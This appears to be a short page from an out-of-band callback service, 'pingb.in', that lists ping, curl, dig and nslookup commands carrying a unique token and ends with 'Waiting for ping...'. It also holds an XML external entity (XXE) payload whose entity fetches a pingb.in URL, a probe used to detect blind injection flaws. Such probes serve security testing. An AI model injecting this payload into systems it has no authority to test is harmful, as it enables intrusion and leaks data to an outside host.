$ ping -c1 -p 0027bb8ebd59c71e67b8dd0f04903000 pingb.in
 
$ curl pingb.in/p/27bb8ebd59c71e67b8dd0f049030
 
$ dig 27bb8ebd59c71e67b8dd0f049030 @pingb.in
 
$ dig 27bb8ebd59c71e67b8dd0f049030.ns.pingb.in
 
C:\> nslookup 27bb8ebd59c71e67b8dd0f049030 pingb.in
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://pingb.in/p/27bb8ebd59c71e67b8dd0f049030">]>
    <foo>&xxe;</foo>
Waiting for ping...